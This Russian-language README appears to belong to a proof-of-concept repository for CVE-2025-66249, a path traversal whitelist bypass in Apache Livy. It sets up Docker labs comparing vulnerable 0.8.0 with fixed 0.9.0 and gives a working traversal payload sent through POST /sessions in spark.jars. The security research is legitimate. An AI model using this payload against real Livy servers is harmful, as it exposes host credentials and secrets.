
PoC для уязвимости обхода пути с обходом белого списка в Apache Livy
Только для образовательных целей и исследований в области безопасности. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. → Полное предупреждение
| Поле | Подробности |
|---|---|
| CVE ID | CVE-2025-66249 |
| Серьезность | Important (CVSS N/A — оценка NVD ожидается по состоянию на 2026-03-15) |
| Затронутые | Apache Livy 0.3.0-incubating до 0.8.0-incubating — только когда livy.file.local-dir-whitelist имеет нестандартное значение |
| Исправлено в | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Некорректное ограничение пути к каталогу ('Path Traversal') |
| Опубликовано | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Сообщивший | Hiroki Egawa (обнаружитель) |
Аутентифицированный пользователь с доступом к REST- или JDBC-интерфейсу Livy может отправить сессию Spark или пакетное задание с поддельным значением пути к файлу, которое выходит за пределы разрешенного белого списка каталогов.
Коренная причина — обход проверки белого списка (Session.scala)
Когда livy.file.local-dir-whitelist настроен, Livy 0.8.0 проверяет отправленные пути, вызывая Java-метод String.startsWith() для сырого, ненормализованного пути. Эту проверку можно обойти с помощью последовательностей обхода ../:
/opt/safe-data/../sensitive/secret.txt
Сырая строка начинается с /opt/safe-data, поэтому проверка проходит — но путь разрешается в /opt/sensitive/secret.txt, который находится полностью вне белого списка каталогов.
Условие срабатывания: Уязвимость может быть эксплуатирована только если livy.file.local-dir-whitelist установлен в нестандартное (непустое) значение. Если белый список пуст (по умолчанию), проверка пути полностью пропускается, и проблема не проявляется.
Воздействие: Злоумышленник, отправляющий сессию через REST API Livy, может ссылаться на произвольные локальные файлы на хосте сервера Livy. В общем кластере аналитики это приводит к потенциальному раскрытию учетных данных, ключей, конфигурационных файлов или любых данных, читаемых пользователем процесса Livy.
Session.scalaУязвимая версия (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Исправленная версия (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Обе версии были клонированы напрямую из официального репозитория Apache Livy на GitHub с помощью следующих точных команд:
Репозиторий: https://github.com/apache/incubator-livy
# Уязвимая версия — клонирована в ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Исправленная версия — клонирована в ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Версия | Тег | Разрешенный коммит | Локальный путь |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() перед проверкой белого списка import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Убедиться, что местоположение есть в белом списке, прежде чем разрешать добавление локальных файлов.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Воздействие в v0.8.0:
Проверка startsWith на сырой строке может быть обойдена с помощью полезной нагрузки с обходом пути.
Пример: если livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (обход)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (заблокировано)Различия получены клонированием обоих тегов локально (см. выше) и запуском:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Злоумышленник (аутентифицированный пользователь REST/JDBC)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← путь начинается с префикса белого списка — String.startsWith() проходит
← но разрешается ВНЕ каталога через обход ../
}
}
│
▼
Livy 0.8.0 — проверка белого списка обойдена (сырой startsWith, без нормализации)
│
▼
Spark читает файл и распространяет его на исполнители
│
▼
Злоумышленник получает содержимое файла через вывод задания / логи
Все шаги данного PoC были выполнены и проверены в следующей системе:
| Компонент | Подробности |
|---|---|
| ОС хоста | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Ядро | 6.17.0-14-generic x86_64 |
| Архитектура | x86_64 |
| Общая память | 15 GiB |
| Docker Engine | 28.2.2 |
| JDK хоста | OpenJDK 17.0.18 (используется только хостом — контейнеры используют eclipse-temurin:11-jdk-focal) |
| Базовый образ контейнера | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Версия Spark (оба образа) | 3.1.3 с Hadoop 3.2 |
| Версия Livy — уязвимый образ | 0.8.0-incubating |
| Версия Livy — исправленный образ | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → образ: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → образ: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → единый скрипт, запускается без изменений в обеих средах
Полная последовательность от начала до конца — выполняйте шаги 1–4 по порядку:
Шаг 1: Собрать уязвимый образ → запустить контейнер → убедиться, что Livy работает
Шаг 2: Запустить validate.sh → подтвердить УЯЗВИМОСТЬ (атака HTTP 201) → остановить контейнер
Шаг 3: Собрать исправленный образ → запустить контейнер → убедиться, что Livy работает
Шаг 4: Запустить validate.sh → подтвердить ИСПРАВЛЕНИЕ (атака HTTP 400) → остановить контейнер
Примечание: Livy требуется примерно 15–20 секунд для готовности после
docker run. Все шаги ниже включают явныйsleep 20перед любым вызовом API.
Файлы:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — привязка к 0.0.0.0:8998, локальный режим, белый список = /opt/safe-data1a. Сборка образа:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Проверка — образ создан:
docker images cve-2025-66249-vulnerable
Ожидаемый вывод:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Запуск контейнера:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Проверка — контейнер запущен:
docker ps --filter name=livy-vulnerable
Ожидаемый вывод:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Ожидание запуска Livy, затем проверка REST API:
Livy требуется ~15-20 секунд для инициализации перед обработкой запросов.
sleep 20
curl -s http://localhost:8998/sessions
Ожидаемый вывод:
{"from":0,"total":0,"sessions":[]}
1d. Проверка структуры каталогов внутри контейнера:
Подтвердите, что безопасный файл из белого списка существует:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Ожидаемый вывод:
This file lives inside the whitelisted directory.
Подтвердите, что конфиденциальный файл находится вне белого списка:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Ожидаемый вывод:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Уязвимый контейнер из шага 1 должен все еще работать на порту 8998.
Что проверяет test/validate.sh:
| № | Атака | Ключ полезной нагрузки | Ожидаемый результат на Livy 0.8.0 |
|---|---|---|---|
| 1 | Обход пути через String.startsWith() в Session.scala | spark.jars с обходом ../ | HTTP 201 — обход белого списка |
2a. Запуск скрипта:
bash test/validate.sh
Примечание:
validate.shработает следующим образом:
- Он опрашивает
GET /sessions, пока Livy не ответит (до 60 секунд), подтверждая готовность сервера.- Он отправляет запрос
POST /sessionsчерезcurlс поддельной полезной нагрузкойconf, нацеленной на файл вне белого списка (/opt/sensitive/secret.txt) с использованием обхода../.- Он считывает код ответа HTTP: 201 означает, что Livy принял путь без нормализации (уязвим); 400 — Livy отклонил его после нормализации (исправлен).
- Если сессия была создана (HTTP 201), скрипт немедленно удаляет её через
DELETE /sessions/{id}, чтобы поддерживать сервер в чистоте.- После теста выводится сводка и завершение с кодом 1 (уязвим) или 0 (исправлен), что делает его пригодным для использования в автоматизированных конвейерах.
Ожидаемый вывод:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Остановка и удаление уязвимого контейнера:
docker stop livy-vulnerable && docker rm livy-vulnerable
Проверка — контейнер полностью удален:
docker ps -a --filter name=livy-vulnerable
Ожидаемый вывод (пусто — нет строк):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Файлы:
docker/fixed/Dockerfile — идентичный базовый образ и Spark 3.1.3, изменяется только версия Livy на 0.9.0-incubatingdocker/fixed/livy.conf — идентичен docker/vulnerable/livy.conf (тот же белый список, порт, режим)Сохранение Spark, базового образа и всей конфигурации идентичными шагу 1 изолирует Livy как единственную переменную.
3a. Сборка образа:
docker build -t cve-2025-66249-fixed docker/fixed/
Проверка — образ создан:
docker images cve-2025-66249-fixed
Ожидаемый вывод:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Запуск контейнера:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Проверка — контейнер запущен:
docker ps --filter name=livy-fixed
Ожидаемый вывод:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Ожидание запуска Livy, затем проверка REST API:
sleep 20
curl -s http://localhost:8998/sessions
Ожидаемый вывод:
{"from":0,"total":0,"sessions":[]}
3d. Проверка структуры каталогов внутри контейнера:
Исправленный контейнер использует идентичные тестовые данные уязвимому — это подтверждает, что единственная переменная между двумя средами — версия Livy.
Подтвердите, что безопасный файл из белого списка существует:
docker exec livy-fixed cat /opt/safe-data/safe.txt
Ожидаемый вывод:
This file lives inside the whitelisted directory.
Подтвердите, что конфиденциальный файл находится вне белого списка:
docker exec livy-fixed cat /opt/sensitive/secret.txt
Ожидаемый вывод:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Исправленный контейнер из шага 3 должен работать на порту 8998. Скрипт идентичен — никаких изменений.
Что меняется между шагом 2 и шагом 4:
Paths.get().normalize() перед проверкой белого списка4a. Запуск скрипта:
bash test/validate.sh
Ожидаемый вывод:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
Что подтверждает сообщение об ошибке:
| Атака | HTTP | Сообщение об ошибке | Исправленная коренная причина |
|---|---|---|---|
Обход пути через spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() добавлен в Session.scala; разрешает ../ перед сравнением с белым списком |
4b. Остановка и удаление исправленного контейнера:
docker stop livy-fixed && docker rm livy-fixed
Проверка — контейнер полностью удален:
docker ps -a --filter name=livy-fixed
Ожидаемый вывод (пусто — нет строк):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 — это единая целенаправленная логическая ошибка в механизме принудительного применения белого списка, который защищает путь доступа к локальной файловой системе Livy.
Белый список (livy.file.local-dir-whitelist) существовал во всех затронутых версиях и был правильно настроен. Сбой заключался в том, как белый список интерпретировался:
Обход пути (единственная слабость): Сравнение с белым списком в Session.scala использовало Java-метод String.startsWith() на сырой строке пути. Этого недостаточно для сравнения путей файловой системы, поскольку не учитываются сегменты обхода ... Путь вида /opt/safe-data/../sensitive/secret.txt удовлетворяет строковой проверке на запись белого списка /opt/safe-data, но разрешается в местоположение, полностью вне его.
Исправление в версии 0.9.0 минимально и целенаправленно: один вызов Paths.get().normalize() добавляется перед сравнением с белым списком. Это разрешает все сегменты .. до выполнения проверки startsWith, поэтому полезная нагрузка с обходом пути корректно определяется как указывающая за пределы разрешенного каталога.
Ключевой вывод для защитников: Уязвимость эксплуатируема только тогда, когда livy.file.local-dir-whitelist установлен в непустое значение. Хотя это означает, что конфигурация по умолчанию напрямую не уязвима, любое развертывание, которое ужесточило белый список (т.е. явно ограничило каталоги, к которым Livy может получить доступ), парадоксальным образом оказывается подвержено — потому что именно наличие белого списка активирует ошибочный путь кода. Единственным полным исправлением является обновление до Livy 0.9.0-incubating.
Приветствуются улучшения этого PoC или документации! Пожалуйста, убедитесь, что любые вклады:
Для участия откройте pull request или создайте issue с описанием предлагаемого изменения.
Этот проект лицензирован под лицензией MIT.
Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности. Доказательство концепции демонстрирует механику уязвимости для облегчения понимания и защитных мер. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation